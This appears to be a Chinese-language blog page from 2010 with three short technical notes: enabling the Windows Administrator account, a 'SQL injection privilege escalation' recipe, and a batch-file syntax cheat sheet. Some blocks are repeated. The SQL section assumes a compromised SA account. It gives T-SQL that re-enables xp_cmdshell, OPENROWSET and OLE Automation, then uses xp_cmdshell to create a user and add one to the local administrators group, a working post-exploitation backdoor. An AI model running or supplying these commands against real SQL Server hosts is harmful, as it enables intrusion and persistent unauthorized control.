在 Vista 及 Windows 7 的 Professional 版或以上,可以直接用 Computer Management 去把 Administrator 的帳號弄出來。但是在 Home 及 Basic 的版本上,只有以下一種方法。首先,要先進入 Elevated Command Prompt。
到 Start -> Accessory -> command prompt. 此時按右鍵,選 run as administrator,這樣就大功告成了。//對CMD調用提權
打入 net user administrator /active:yes
11月 22, 2010
11月 21, 2010
11月 20, 2010
SQL 注入提權
這邊假設你已經擁有一個SA帳戶
遇到 sql server 2005 ,恢復xp_cmdshell的辦法:
開啟XP_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;
開啟'OPENROWSET':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;
開啟'sp_oacreate':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ole Automation Procedures',1;RECONFIGURE;
EXEC master..xp_cmdshell 'net user abc 1234 /add'
EXEC master..xp_cmdshell 'net localgroup administrators zk /add'
--net user abc /del --刪除
--結束
遇到 sql server 2005 ,恢復xp_cmdshell的辦法:
開啟XP_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;
開啟'OPENROWSET':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;
開啟'sp_oacreate':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ole Automation Procedures',1;RECONFIGURE;
EXEC master..xp_cmdshell 'net user abc 1234 /add'
EXEC master..xp_cmdshell 'net localgroup administrators zk /add'
--net user abc /del --刪除
--結束
11月 19, 2010
批次檔bat大全
set /a args=%1+%2 /%為引數
set /a a=1+3 /+a才可數值運算
set b=1+3 /字串
set s=hi
@echo %args% /輸出方式
@echo %a%
@echo %b%
@echo %s%
for %%g in (*.wma) do echo hi! /必須要用2個% TRUE做DO
if not exist *.wma ( /下面為同一行,not=反向 exist + 檔名 = 比對是否有該檔案
pause
) ELSE ( /有的話!
echo no!
)
goto renamer //也可用%變數
:renamer
set old=%1
ren %1 "%old:~9%,1000% //切掉前面9個字,另外那個逗號後的1000和前面的"可以不打!
/跳到此
call + 批次檔名稱 /呼叫外部批次檔
set /a a=1+3 /+a才可數值運算
set b=1+3 /字串
set s=hi
@echo %args% /輸出方式
@echo %a%
@echo %b%
@echo %s%
for %%g in (*.wma) do echo hi! /必須要用2個% TRUE做DO
if not exist *.wma ( /下面為同一行,not=反向 exist + 檔名 = 比對是否有該檔案
pause
) ELSE ( /有的話!
echo no!
)
goto renamer //也可用%變數
:renamer
set old=%1
ren %1 "%old:~9%,1000% //切掉前面9個字,另外那個逗號後的1000和前面的"可以不打!
/跳到此
call + 批次檔名稱 /呼叫外部批次檔
訂閱:
文章 (Atom)